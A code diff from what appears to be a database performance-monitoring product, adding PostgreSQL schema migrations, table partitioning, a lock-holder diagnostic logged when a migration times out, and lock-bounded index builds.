+    IF (SELECT c.relkind FROM pg_class c WHERE c.oid = to_regclass('collect.__TABLE__')) = 'p' THEN
+        RETURN;
+    END IF;
+
+    ALTER TABLE collect.__TABLE__ RENAME TO __TABLE___legacy;
+    IF to_regclass('collect.ux___TABLE__') IS NOT NULL THEN
+        ALTER INDEX collect.ux___TABLE__ RENAME TO ux___TABLE___legacy;
+    END IF;
+    IF to_regclass('collect.idx___TABLE___first_exec') IS NOT NULL THEN
+        ALTER INDEX collect.idx___TABLE___first_exec RENAME TO idx___TABLE___first_exec_legacy;
+    END IF;
+    IF to_regclass('collect.ix___TABLE___server_first_exec') IS NOT NULL THEN
+        ALTER INDEX collect.ix___TABLE___server_first_exec RENAME TO ix___TABLE___server_first_exec_legacy;
+    END IF;" + (wide ? @"
+    IF to_regclass('collect.ix___TABLE___collection_time_brin') IS NOT NULL THEN
+        ALTER INDEX collect.ix___TABLE___collection_time_brin RENAME TO ix___TABLE___collection_time_brin_legacy;
+    END IF;" : @"
+    DROP TRIGGER IF EXISTS trg_plan_regression_daily_late ON collect.__TABLE___legacy;") + @"
+
+    CREATE TABLE collect.__TABLE__ (LIKE collect.__TABLE___legacy INCLUDING DEFAULTS INCLUDING STORAGE)
+        PARTITION BY RANGE (first_execution_time);
+    ALTER TABLE collect.__TABLE__ ATTACH PARTITION collect.__TABLE___legacy FOR VALUES FROM (MINVALUE) TO (MAXVALUE);
+
+    CREATE UNIQUE INDEX ux___TABLE__ ON ONLY collect.__TABLE__ (__UNIQUECOLUMNS__) NULLS NOT DISTINCT;
+    ALTER INDEX collect.ux___TABLE__ ATTACH PARTITION collect.ux___TABLE___legacy;
+    CREATE INDEX idx___TABLE___first_exec ON ONLY collect.__TABLE__ (first_execution_time);
+    ALTER INDEX collect.idx___TABLE___first_exec ATTACH PARTITION collect.idx___TABLE___first_exec_legacy;"
+            + optionalIndex.Replace("__NAME__", "ix___TABLE___server_first_exec", StringComparison.Ordinal)
+                .Replace("__DEFINITION__", "(server_id, first_execution_time)", StringComparison.Ordinal)
+            + (wide
+                ? optionalIndex.Replace("__NAME__", "ix___TABLE___collection_time_brin", StringComparison.Ordinal)
+                    .Replace("__DEFINITION__", "USING brin (collection_time) WITH (autosummarize = off)", StringComparison.Ordinal)
+                : @"
+
+    CREATE TRIGGER trg_plan_regression_daily_late
+        AFTER INSERT OR UPDATE ON collect.__TABLE__
+        FOR EACH ROW
+        WHEN (NEW.first_execution_time < date_trunc('day', now() AT TIME ZONE 'UTC') - interval '1 day'
+              AND NEW.first_execution_time >= date_trunc('day', now() AT TIME ZONE 'UTC') - interval '17 days')
+        EXECUTE FUNCTION collect.plan_regression_daily_mark_late();") + @"
+END
+$rung$;";
+
+        return sql
+            .Replace("__UNIQUECOLUMNS__", uniqueColumns, StringComparison.Ordinal)
+            .Replace("__TABLE__", table, StringComparison.Ordinal);
+    }
+
     public static IReadOnlyList<Migration> Scripts { get; } = new[]
     {
         new Migration(1, "collector-tables", PgSchemaGenerator.GenerateFullSchema()),
@@ -510,6 +1200,22 @@ holds the ordering. */
         new Migration(155, "query-store-interval-end", V155Sql),
         new Migration(156, "checkpoint-longest-sync", V156Sql),
         new Migration(157, "mute-rule-server-id", V157Sql),
+        new Migration(158, "install-id", V158Sql),
+        new Migration(159, "install-id-table-oid", V159Sql),
+        new Migration(160, "collector-run-time", V160Sql),
+        new Migration(161, "query-store-top-daily", V161Sql),
+        new Migration(162, "slow-reads", V162Sql),
+        new Migration(163, "store-statement-history", V163Sql),
+        new Migration(164, "query-stats-hour-ledger", V164Sql),
+        new Migration(165, "password-key", V165Sql),
+        new Migration(166, "pagerduty-auto-resolve", V166Sql),
+        new Migration(167, "legacy-pin-candidates", V167Sql),
+        new Migration(168, "plan-regression-daily", V168Sql),
+        new Migration(169, "aws-per-server-role", V169Sql),
+        new Migration(170, "pg-io-stats-hourly", V170Sql),
+        new Migration(171, "query-store-interval-wide-partitioned", V171Sql),
+        new Migration(172, "query-store-interval-latest-partitioned", V172Sql),
+        new Migration(173, "query-store-compose-stamp", V173Sql),
     };
 
     /// <summary>
@@ -2252,7 +2958,7 @@ CONSTRAINT pk_analysis_collection_caveats PRIMARY KEY (server_id, family)
     /// <c>ORDER BY collection_time DESC, execution_count DESC</c> would keep. Its columns are exactly what the two reads
     /// consume, and their types and nullability mirror raw's, so the table can never refuse a row raw accepted. One
     /// unique index, <c>NULLS NOT DISTINCT</c> because <c>replica_role</c> is NULL off an availability group and must
-    /// still collapse (PostgreSQL 15+; the product minimum is 17). The column order is the writer's: a batch is one
+    /// still collapse (PostgreSQL 15+; the product minimum is 16). The column order is the writer's: a batch is one
     /// database's rows for one or two interval ids, so each batch's entries form one contiguous run.
     /// <c>fillfactor = 50</c> was measured (99% HOT against 56-59% at 70). The hypertable conversion, compression and
     /// retention are runtime work in <c>collection_log</c>'s shape, not this rung's.</para>
@@ -3140,8 +3846,8 @@ updated_by text
     ///
     /// <para><b>Nesting.</b> <c>parent_id</c> is a self-reference; NULL = a root tag. Depth is capped
     /// app-side at 4 levels — Postgres cannot express that without a trigger, and the tag table is tiny
-    /// (dozens of rows), so the Viewer loads it whole, builds the tree in memory, and checks both the cap
-    /// and cycle-freedom there. No recursive CTE, no ltree extension, no closure table.
+    /// (dozens of rows), so <c>ServerTagRules</c> (Storage) enforces both the cap and cycle-freedom for every
+    /// writer. No recursive CTE, no ltree extension, no closure table.
     /// <c>ON DELETE CASCADE</c> on the self-reference means deleting a tag removes its whole subtree and
     /// (via the map's own cascade) those assignments — the folder mental model. It can never reach
     /// <c>config_monitored_servers</c>: there is no FK to it, so no server row, credential blob, or
@@ -3155,8 +3861,8 @@ updated_by text
     /// operator-entered names.</para>
     ///
     /// <para><b>NO <c>config_bump_version</c> trigger</b>, same reasoning as V31: tags feed the VIEWER's
-    /// sidebar, never the collector/service loop, so there is nothing for the service to reload and a
-    /// beacon bump would only cost a needless fleet reconcile. <c>id</c> is
+    /// sidebar and never the collector loop. The alert evaluator reads them, but through its own cache refresh,
+    /// so a beacon is still unnecessary and a bump would only cost a needless fleet reconcile. <c>id</c> is
     /// <c>GENERATED ALWAYS AS IDENTITY</c> so INSERTs need no sequence USAGE grant. No explicit grant is
     /// added: both tables are picked up by the blanket <c>GRANT ... ON ALL TABLES IN SCHEMA config</c>
     /// statements that provisioning re-runs on EVERY service start. Note it is those, not
@@ -3583,9 +4289,9 @@ ALTER TABLE config.config_alert_settings
     /// by running V32 then V50 in order, the same path an upgraded store takes; nothing else needs editing.
     /// <para>Deliberately nullable with NO backfill: existing tags stay NULL and render as a neutral pill
     /// until a user picks a colour, while newly-created tags get a palette colour assigned at creation time
-    /// (rotated by tag id, in the viewer). Stored as <c>#RRGGBB</c> text — the viewer's only concern, the
-    /// service never reads server_tags — so no CHECK constraint is imposed here; the viewer writes only
-    /// palette values or a user pick.</para>
+    /// (rotated by tag id, in the viewer). Stored as <c>#RRGGBB</c> text — read by the service's tag-scoped alert
+    /// rules since #3350 and validated by <c>ServerTagRules</c> — so no CHECK constraint is imposed here; writers
+    /// store only palette values or a user pick.</para>
     /// </summary>
     private const string V50Sql = @"
 ALTER TABLE config.server_tags
@@ -6706,6 +7412,8 @@ end_time timestamp
     /// it does NOT replace the V1 index (the anomaly-detector self-joins in <c>PgAnomalyDetector</c> key
     /// <c>database_name</c>, which that index still serves) — the two readers diverged on the database key, so
     /// each gets its own index.
+    /// Since #5072 Index Analysis no longer runs that unbounded read: it takes each database's newest snapshot
+    /// (<c>DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql</c>).
     ///
     /// <para><c>index_object_stats</c> is a TimescaleDB hypertable (every collector table is —
     /// <c>TimescaleSupport.HypertableTables</c>), so a plain <c>CREATE INDEX</c> is applied across every chunk
@@ -7148,7 +7856,7 @@ public static async Task<int> MigrateAsync(
         int applied;
         try
         {
-            applied = await MigrateLockedAsync(connection, cancellationToken);
+            applied = await MigrateLockedAsync(connection, logger, cancellationToken);
         }
         finally
         {
@@ -7314,7 +8022,7 @@ private static async Task<int> ReadStampedSchemaVersionAsync(
         return Convert.ToInt32(await read.ExecuteScalarAsync(cancellationToken), System.Globalization.CultureInfo.InvariantCulture);
     }
 
-    private static async Task<int> MigrateLockedAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    private static async Task<int> MigrateLockedAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken)
     {
         /* Resolve bare names through collect/config for this migrate session. Load-bearing from V8
            on: V8 moves darling_schema_version into collect, and the version stamp below writes it by
@@ -7349,10 +8057,20 @@ private static async Task<int> MigrateLockedAsync(NpgsqlConnection connection, C
 
             using var transaction = await connection.BeginTransactionAsync(cancellationToken);
 
-            using (var apply = new NpgsqlCommand(migration.Sql, connection, transaction) { CommandTimeout = MigrationCommandTimeoutSeconds })
+            try
             {
+                using var apply = new NpgsqlCommand(migration.Sql, connection, transaction) { CommandTimeout = MigrationCommandTimeoutSeconds };
                 await apply.ExecuteNonQueryAsync(cancellationToken);
             }
+            catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.LockNotAvailable)
+            {
+                /* #5582: the rung's SET LOCAL lock_timeout fired, so a session holds a lock on a table the rung needs. Roll back first
+                   (the aborted transaction cannot run the diagnostic query), say who holds what, then let the failure go on: the
+                   store-migrate loop retries the rung, and collection waits behind that loop. */
+                await TryRollbackAsync(transaction);
+                await LogLockHoldersAsync(connection, logger, migration.Version, migration.Name, ex.MessageText, cancellationToken);
+                throw;
+            }
 
             using (var stamp = new NpgsqlCommand(
                 "INSERT INTO darling_schema_version (version, name, applied_at) VALUES ($1, $2, $3)", connection, transaction) { CommandTimeout = MigrationCommandTimeoutSeconds })
@@ -7371,6 +8089,160 @@ private static async Task<int> MigrateLockedAsync(NpgsqlConnection connection, C
         return applied;
     }
 
+    private static async Task TryRollbackAsync(NpgsqlTransaction transaction)
+    {
+        try
+        {
+            await transaction.RollbackAsync(CancellationToken.None);
+        }
+        catch
+        {
+            /* The failed statement already aborted the transaction; disposing it ends it either way. */
+        }
+    }
+
+    /// <summary>The least often the lock-holder list is logged, so a retry loop that fails every minute says it once per this long.</summary>
+    internal static readonly TimeSpan LockHolderLogInterval = TimeSpan.FromMinutes(10);
+
+    private static readonly object s_lockHolderLogGate = new();
+    private static DateTime s_lastLockHolderLogUtc = DateTime.MinValue;
+
+    /// <summary>True when no lock-holder list was logged in the last <see cref="LockHolderLogInterval"/> as of <paramref name="nowUtc"/>.
+    /// Reads the throttle without claiming it.</summary>
+    internal static bool IsLockHolderLogDue(DateTime nowUtc)
+    {
+        lock (s_lockHolderLogGate)
+        {
+            return s_lastLockHolderLogUtc == DateTime.MinValue || nowUtc - s_lastLockHolderLogUtc >= LockHolderLogInterval;
+        }
+    }
+
+    /// <summary>Claims the right to log the lock holders at <paramref name="nowUtc"/>: true when none was logged in the last
+    /// <see cref="LockHolderLogInterval"/>. Static on purpose, because each retry of the rung is a fresh call.</summary>
+    internal static bool TryClaimLockHolderLog(DateTime nowUtc)
+    {
+        lock (s_lockHolderLogGate)
+        {
+            if (s_lastLockHolderLogUtc != DateTime.MinValue && nowUtc - s_lastLockHolderLogUtc < LockHolderLogInterval)
+            {
+                return false;
+            }
+
+            s_lastLockHolderLogUtc = nowUtc;
+            return true;
+        }
+    }
+
+    /// <summary>Test seam: forgets the last lock-holder log.</summary>
+    internal static void ResetLockHolderLogThrottleForTests()
+    {
+        lock (s_lockHolderLogGate)
+        {
+            s_lastLockHolderLogUtc = DateTime.MinValue;
+        }
+    }
+
+    /// <summary>The most lock-holding sessions one log line names ($1 of <see cref="LockHoldersSql"/>).</summary>
+    internal const int LockHolderListCap = 20;
+
+    /// <summary>The server-side limits of the lock-holder lookup, set for its own transaction only (#5582). The rung's
+    /// <c>lock_timeout</c> is gone once the rung rolled back, so without these the lookup would wait on whatever it met.</summary>
+    internal const string LockHolderLookupLimitsSql = "SET LOCAL statement_timeout = '5s'; SET LOCAL lock_timeout = '2s'";
+
+    /// <summary>The sessions of this database holding a granted lock on a <c>collect</c> table, one row per session with the tables and
+    /// modes it holds. Every mode is listed, because a plain SELECT takes <c>AccessShareLock</c> and that conflicts with the
+    /// <c>AccessExclusiveLock</c> most schema changes take. The row holds the session's pid, backend type, application name, state,
+    /// transaction start, wait event, and relation and lock mode; the first 200 characters of the query come back only for an
+    /// autovacuum worker.</summary>
+    internal const string LockHoldersSql = """
+        SELECT a.pid,
+               a.backend_type,
+               a.application_name,
+               a.state,
+               a.xact_start,
+               concat_ws(': ', a.wait_event_type, a.wait_event) AS wait,
+               CASE WHEN a.backend_type = 'autovacuum worker' THEN left(a.query, 200) END AS query,
+               string_agg(DISTINCT c.relname || ' (' || l.mode || ')', ', ') AS held
+        FROM pg_locks l
+        JOIN pg_class c ON c.oid = l.relation
+        JOIN pg_namespace n ON n.oid = c.relnamespace AND n.nspname = 'collect'
+        JOIN pg_stat_activity a ON a.pid = l.pid
+        WHERE l.locktype = 'relation'
+          AND l.granted
+          AND a.datname = current_database()
+          AND a.pid <> pg_backend_pid()
+        GROUP BY a.pid, a.backend_type, a.application_name, a.state, a.xact_start, a.wait_event_type, a.wait_event,
+                 CASE WHEN a.backend_type = 'autovacuum worker' THEN left(a.query, 200) END
+        ORDER BY a.xact_start NULLS LAST, a.pid
+        LIMIT $1
+        """;
+
+    /// <summary>
+    /// #5582: after a rung hit <c>lock_timeout</c>, logs the sessions that hold a lock on a <c>collect</c> table: pid, backend type,
+    /// application name, state, transaction start, wait event, relation and lock mode, plus the first 200 characters of the query for
+    /// an autovacuum worker. At most once per <see cref="LockHolderLogInterval"/>, and the interval is claimed only after the lookup
+    /// worked, so a failed lookup does not mute the next attempt. The lookup runs in its own transaction with server-side limits.
+    /// A fault in the diagnostic is swallowed, because the rung's own failure is what the caller reports; a cancel is not.
+    /// </summary>
+    internal static async Task LogLockHoldersAsync(
+        NpgsqlConnection connection, ILogger? logger, int version, string name, string reason, CancellationToken cancellationToken, Func<DateTime>? utcNow = null)
+    {
+        var nowUtc = (utcNow ?? (() => DateTime.UtcNow))();
+        if (logger is null || !IsLockHolderLogDue(nowUtc))
+        {
+            return;
+        }
+
+        List<string> holders;
+        try
+        {
+            holders = new List<string>();
+            using var lookup = await connection.BeginTransactionAsync(cancellationToken);
+            using (var limits = new NpgsqlCommand(LockHolderLookupLimitsSql, connection, lookup) { CommandTimeout = 30 })
+            {
+                await limits.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            using var command = new NpgsqlCommand(LockHoldersSql, connection, lookup) { CommandTimeout = 30 };
+            command.Parameters.AddWithValue(LockHolderListCap);
+            using (var reader = await command.ExecuteReaderAsync(cancellationToken))
+            {
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    var text = reader.IsDBNull(6) ? string.Empty : reader.GetString(6);
+                    holders.Add(string.Format(
+                        System.Globalization.CultureInfo.InvariantCulture,
+                        "pid {0} ({1}), application {2}, state {3}, transaction started {4:u}, waiting on {5}, holding {6}{7}",
+                        reader.GetInt32(0),
+                        reader.IsDBNull(1) ? "unknown" : reader.GetString(1),
+                        reader.IsDBNull(2) || reader.GetString(2).Length == 0 ? "none" : reader.GetString(2),
+                        reader.IsDBNull(3) ? "none" : reader.GetString(3),
+                        reader.IsDBNull(4) ? (DateTime?)null : reader.GetDateTime(4),
+                        reader.IsDBNull(5) || reader.GetString(5).Length == 0 ? "nothing" : reader.GetString(5),
+                        reader.GetString(7),
+                        text.Length == 0 ? string.Empty : ", query: " + text));
+                }
+            }
+
+            await lookup.CommitAsync(cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException and not OutOfMemoryException)
+        {
+            logger.LogDebug("The lock-holder lookup for store migration V{Version} failed: {Message}", version, ex.Message);
+            return;
+        }
+
+        if (!TryClaimLockHolderLog(nowUtc))
+        {
+            return;
+        }
+
+        logger.LogWarning(
+            "Store migration V{Version} ({Name}) could not get its table lock in time ({Reason}). Collection waits until it applies. " +
+            "Sessions holding a lock on a collect table: {Holders}",
+            version, name, reason, holders.Count == 0 ? "none found" : string.Join("; ", holders));
+    }
+
     /// <summary>
     /// Best-effort: make <c>search_path = collect, config, public</c> the database default, so
     /// EVERY future connection (the service pool's collector writes, the MCP host, the Viewer,
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs b/Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs
index 4e9d093b11..e838b05dac 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs
@@ -50,6 +50,36 @@ public static class PgStatementText
     private static readonly string SensitiveTextCase =
         PgSensitiveStatementFilter.SqlPredicate("query_text") + " AS query_text";
 
+    /// <summary>The collector name the hourly text fetch's failures are recorded under in the collection log
+    /// (#5320). The fetch rides the statistics collector's run, so a failure under that collector's name would
+    /// turn a run whose statistics were stored into an error; its own name keeps the two apart.</summary>
+    public const string CollectorName = "pg_statement_text";
+
+    /// <summary>The command timeout, in seconds, of the text fetch on the monitored target (#5320: the
+    /// statement filter's pattern runs there for every entry, so a slow fetch is a failure worth naming).</summary>
+    public const int FetchCommandTimeoutSeconds = 60;
+
+    /// <summary>The collection-log message for a failed text fetch or store write (#5320). A timeout is named as
+    /// one, with the deadline, because text then stops being collected for the target until the fetch gets
+    /// faster; any other failure keeps the fault's own message.</summary>
+    public static string DescribeFailure(Exception exception)
+    {
+        ArgumentNullException.ThrowIfNull(exception);
+        Exception? current = exception;
+        while (current is not null)
+        {
+            if (current is TimeoutException)
+            {
+                return string.Create(CultureInfo.InvariantCulture,
+                    $"The statement text fetch timed out after {FetchCommandTimeoutSeconds} s; no statement text was stored this cycle. {exception.Message}");
+            }
+
+            current = current.InnerException;
+        }
+
+        return exception.Message;
+    }
+
     /// <summary>The table. Not a hypertable: one row per statement per server, near-static once a workload is
     /// warm, so it is dimension-shaped and pruned on <see cref="LastSeenColumn"/> rather than by drop_chunks.</summary>
     public const string TableName = "collect.pg_statement_text";
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs b/Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs
index c94c943c0f..4e79f7d780 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs
@@ -7,7 +7,10 @@
  */
 
 using System;
+using System.Collections.Concurrent;
 using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
@@ -21,11 +24,16 @@ namespace PerformanceMonitor.Darling.Storage;
 /// and the analyze_*_plan reads return identical rows with or without them, just slower, so they must NOT bump
 /// <see cref="StorageVersion"/> — that would gate the Viewer's connect-time schema check on perf indexes it does
 /// not need (the same reasoning that keeps role GUCs / GRANTs in role provisioning rather than a migration). The
-/// service applies them once at startup AFTER migrations and the TimescaleDB block, BEFORE collectors: so a fresh
+/// service applies them at startup AFTER migrations and the TimescaleDB block, BEFORE collectors: so a fresh
 /// store's collector tables are already hypertables when indexed (CREATE INDEX / ALTER TABLE SET propagate to all
 /// existing and future chunks), a plain-PostgreSQL store gets them too, and a first build on a large adopted store
-/// never contends with live inserts. Idempotent (CREATE INDEX IF NOT EXISTS / ALTER TABLE SET), so every restart
-/// re-converges and a store that already has them (a field box hand-indexed, or a prior start) no-ops.
+/// never contends with live inserts. The same pass also runs on the hourly convergence tick beside live
+/// collection, but there it NEVER builds an index: an index build takes a ShareLock that queues every writer
+/// behind it, so a missing index is logged once per process and left for the next service start. On the start
+/// path a CREATE is issued only when the catalog shows the index absent (<c>IF NOT EXISTS</c> takes its table
+/// locks BEFORE it looks) and then under a bounded <c>lock_timeout</c> (<see cref="GuardedCreate"/>).
+/// Idempotent (catalog check / ALTER TABLE SET), so every run re-converges and a store that already has them
+/// (a field box hand-indexed, or a prior run) issues no CREATE.
 ///
 /// <para>EXPLAIN-backed field fix (2026-07-22): the composer filtered by <c>object_name</c> / <c>query_hash</c>
 /// fell to a Seq Scan and timed out at the 15 s statement_timeout; a PLAIN index still paid a Bitmap Heap Scan
@@ -73,9 +81,9 @@ namespace PerformanceMonitor.Darling.Storage;
 /// </summary>
 public static class PgTableTuning
 {
-    /* A first CREATE INDEX on a large adopted store can take a while (it runs pre-collection, so it blocks no
-       live inserts, but the build itself is real work) — the same generous budget the TimescaleDB first
-       conversion uses. */
+    /* A first CREATE INDEX on a large adopted store can take a while (at startup it runs before collection and
+       blocks no live inserts; the build itself is real work) — the same generous budget the TimescaleDB first
+       conversion uses. A start-path CREATE is bounded by CreateLockTimeoutSeconds first. */
     private const int SetupTimeoutSeconds = 300;
 
     /// <summary>
@@ -88,6 +96,59 @@ conversion uses. */
     /// </summary>
     private const string DropLockTimeoutSeconds = "5s";
 
+    /// <summary>
+    /// The lock_timeout a CREATE INDEX that is still issued runs under. The build takes ShareLock on the table
+    /// (and every chunk), which conflicts with every writer's RowExclusiveLock; an unbounded wait behind a chunk
+    /// compression or a reader would hold every INSERT for up to <see cref="SetupTimeoutSeconds"/>. The CREATE
+    /// gives up with <c>55P03</c>, and the next start retries. Only the start path issues a CREATE.
+    /// </summary>
+    private const string CreateLockTimeoutSeconds = "5s";
+
+    private const string CreateIndexPrefix = "CREATE INDEX IF NOT EXISTS ";
+
+    /// <summary>
+    /// Wraps a <c>CREATE INDEX IF NOT EXISTS</c> in its own transaction under <see cref="CreateLockTimeoutSeconds"/>.
+    /// Plain (not <c>CONCURRENTLY</c>: hypertables refuse it, and it cannot run inside a transaction block).
+    /// </summary>
+    private static string GuardedCreate(string statement) =>
+        "BEGIN; SET LOCAL lock_timeout = '" + CreateLockTimeoutSeconds + "'; " + statement + "; COMMIT;";
+
+    /// <summary>
+    /// The indexes whose first build reads the heap of a large hypertable. A start builds at most one of them:
+    /// once one build has been issued, the rest that are still missing wait for the next start, so each start
+    /// pauses collection for one bounded build, not for the sum of several. Statement order decides which goes first.
+    /// </summary>
+    private static readonly HashSet<string> s_oneBuildPerStart = new(StringComparer.Ordinal)
+    {
+        LegacyRowIndexName,
+        QueryStatsRestartRowIndexName,
+        ProcedureStatsRestartRowIndexName,
+    };
+
+    /// <summary>True for an index that shares the one-build-per-start budget.</summary>
+    internal static bool IsOneBuildPerStart(string indexName) => s_oneBuildPerStart.Contains(indexName);
+
+    /// <summary>The index name in a <c>CREATE INDEX IF NOT EXISTS &lt;name&gt; ON ...</c> statement.</summary>
+    private static string CreatedIndexName(string statement)
+    {
+        var rest = statement.Substring(CreateIndexPrefix.Length);
+        return rest.Substring(0, rest.IndexOf(' ', StringComparison.Ordinal));
+    }
+
+    /// <summary>The <c>schema.table</c> a <c>CREATE INDEX IF NOT EXISTS &lt;name&gt; ON &lt;table&gt; ...</c> statement indexes.</summary>
+    private static string CreatedIndexTable(string statement)
+    {
+        const string on = " ON ";
+        var rest = statement.Substring(statement.IndexOf(on, StringComparison.Ordinal) + on.Length);
+        var end = rest.IndexOf(' ', StringComparison.Ordinal);
+        return end < 0 ? rest : rest.Substring(0, end);
+    }
+
+    /// <summary>NULL when no such index exists in <c>collect</c>, otherwise whether it is valid.</summary>
+    private const string IndexValidSql =
+        "SELECT i.indisvalid FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace "
+        + "JOIN pg_index i ON i.indexrelid = c.oid WHERE n.nspname = 'collect' AND c.relname = $1";
+
     /// <summary>CommandTimeout for the post-failure recovery <c>ROLLBACK</c> in <see cref="ApplyAsync"/> — a
     /// ROLLBACK never waits on a lock, so this is a generous ceiling, not a measured budget.</summary>
     private const int DropLockTimeoutRollbackSeconds = 10;
@@ -116,6 +177,25 @@ private static string GuardedDrop(string indexName) =>
     /// </summary>
     public const string ForcePlanFailuresIndexName = "idx_query_store_stats_server_time_forcing";
 
+    /// <summary>
+    /// The partial index that answers <see cref="QueryStoreIntervalWide.HasLegacyRowSql"/> without reading the
+    /// heap: <c>(server_id, collection_time)</c> over only the rows whose <c>interval_start_time_utc</c> is NULL.
+    /// Exposed so the live pin can find it by name in <c>pg_indexes</c> and in the plan.
+    /// </summary>
+    public const string LegacyRowIndexName = "idx_query_store_stats_server_time_null_start";
+
+    /// <summary>
+    /// The partial index over the restart rows of <c>collect.query_stats</c>:
+    /// <c>(collection_time) WHERE sample_interval_seconds = 0</c>. It serves
+    /// <see cref="IntervalRollupRestartRows.QueryStatsRestartRowsSql"/>. The statement that builds it carries the
+    /// whole account (what it holds, why it builds at start, what the build costs); the procedure_stats twin,
+    /// <see cref="ProcedureStatsRestartRowIndexName"/>, is the same shape on the other table.
+    /// </summary>
+    public const string QueryStatsRestartRowIndexName = "idx_query_stats_restart_rows_time";
+
+    /// <summary>The restart-row partial index on <c>collect.procedure_stats</c>, built and read like <see cref="QueryStatsRestartRowIndexName"/>.</summary>
+    public const string ProcedureStatsRestartRowIndexName = "idx_procedure_stats_restart_rows_time";
+
     public static IReadOnlyList<string> ForcePlanFailuresIndexColumns { get; } = new[]
     {
         "server_id", "collection_time",
@@ -154,12 +234,14 @@ private static string GuardedDrop(string indexName) =>
         GuardedDrop("idx_procedure_stats_server_handle_time"),
         /* #4247 DROP (was CREATE): idx_query_stats_server_handle_time (server_id, sql_handle,
            collection_time DESC) — the #1981 ProcStats comparison's representative-statement LATERAL twin of
-           the procedure_stats handle index above. 0-13 scans/store, 8.7-11.3% of WAL. Reader: the LEFT JOIN
-           LATERAL in ViewerDataService.ProcedureStats.GetProcedureStatsComparisonAsync (qs.server_id,
+           the procedure_stats handle index above. 0-13 scans/store, 8.7-11.3% of WAL. Reader at the time: the
+           LEFT JOIN LATERAL in ViewerDataService.ProcedureStats.GetProcedureStatsComparisonAsync (qs.server_id,
            qs.sql_handle) -> ORDER BY collection_time DESC LIMIT 1, ViewerCommandDeadlines base
-           InteractiveReadSeconds = 15 s deadline. Rig-measured, fresh/stale handle: 3.951 ms / 6.462 ms with
-           the index vs. 68.200 ms / 565.808 ms without it (idx_query_stats_time, Index Scan Backward filtered
-           by sql_handle) — worst case 13x under the 7.5 s half-deadline. */
+           InteractiveReadSeconds = 15 s deadline. #5420 removed that lateral: the comparison now finds every
+           handle's text with one time-bounded window scan (its texts CTE), not a handle lookup, so no reader
+           is left for this index. Rig-measured then, fresh/stale handle: 3.951 ms / 6.462 ms with the index
+           vs. 68.200 ms / 565.808 ms without it (idx_query_stats_time, Index Scan Backward filtered by
+           sql_handle) — worst case 13x under the 7.5 s half-deadline. */
         GuardedDrop("idx_query_stats_server_handle_time"),
         /* #4247 DROP (was CREATE): idx_query_stats_query_hash (query_hash, collection_time) INCLUDE
            (database_name, delta_worker_time, delta_elapsed_time, delta_execution_count) — 0-1 scans/store,
@@ -253,6 +335,88 @@ store or the same one a month on flips back. A store-wide planner setting is als
            may be its unforced one), so that index needs the statement reshaped and its first-sighting
            semantics changed — the cheaper long-run shape, deferred rather than smuggled in. */
         "CREATE INDEX IF NOT EXISTS " + ForcePlanFailuresIndexName + " ON collect.query_store_stats (server_id, collection_time DESC) INCLUDE (database_name, query_id, plan_id, force_failure_count, is_forced_plan, plan_forcing_type, last_force_failure_reason)",
+        /* The legacy-row check (QueryStoreIntervalWide.HasLegacyRowSql, clause 6 of ReadsTableAsync, run once
+           per server by the fleet panels) asks whether the server's window holds a row with no interval start.
+           On a field store it holds none, and with only the (server_id, collection_time) index that "no" costs
+           a fetch of every heap tuple the window touches: a mean of 4.1 s and 6.8 M blocks per call over a
+           day on the largest store measured (#4969), most of it heap fetches in the uncompressed chunks. The read stays exact, because the collector can still store a NULL start when the
+           catalog join misses, so the statement is unchanged and this index gives it an index read of a near-empty
+           tree.
+
+           WHAT IT HOLDS: only rows WHERE interval_start_time_utc IS NULL. On a field store that is nothing, so
+           the index costs near-zero writes and WAL (contrast the random-key WAL that #4247 removed from the
+           composer indexes), and it grows only with the rare legacy row.
+
+           WHY THE START PATH: the plain CREATE INDEX takes a ShareLock on the hypertable root, which is safe
+           before collectors start and not while they write. CONCURRENTLY is refused on hypertables, and the
+           per-chunk form and a background build are unsafe because the Query Store backfill writes backdated
+           rows into older chunks (see QueryStoreBackgroundIndexes).
+
+           COMPRESSED CHUNKS: CREATE INDEX on the hypertable builds one index per chunk from that chunk's own
+           heap, so each compressed chunk gets an empty 8 KB index and the compressed relations get none. The
+           check reads those chunks through the columnar scan on the compressed chunk's server_id segmentby
+           index, with the NULL test as a vectorized filter (a few thousand buffers per chunk; 65-153 ms each on the largest production
+           store measured). Uncompressed chunks take an index
+           scan of this index, which is empty on a field store, so 1-2 buffers per chunk. Before, they took a
+           scan of the (server_id, collection_time) index with a heap fetch per row to test the NULL filter.
+           QueryStoreLegacyRowIndexLiveTests holds the plan. Measured on a local TimescaleDB 2.30.1 rig with
+           the real schema (4 servers x 4 daily chunks x 855,360 rows per server per day, 585 B per row, the
+           2 oldest chunks compressed and the 2 newest uncompressed at 2.0 GB of heap each), one server,
+           bound parameters, median of 3:
+             24 h:  255-359 ms -> 0.043 ms
+             168 h: 1.7-3.0 s (126-138 k buffers) -> 5.9 ms (~7.1 k buffers, all in the compressed chunks'
+                    columnar scans, which this index does not change).
+           On the largest production store measured (6-hour chunks, the last ~27 hours uncompressed), the check for the
+           busiest server took 614 ms at 24 h, all of it Bitmap Heap Scans of the five uncompressed chunks that removed
+           667,802 rows by the NULL filter; the index serves that whole window. At 168 h it took 1,723 ms, 1.34 s of it
+           in the twelve compressed chunks' columnar scans, which this index does not reach.
+           As a prepared statement, the check's sixth execution switches to a generic plan with no chunk
+           pruning: 57-76 s at 168 h without the index, 6.2 ms with it. The product does not prepare it today.
+
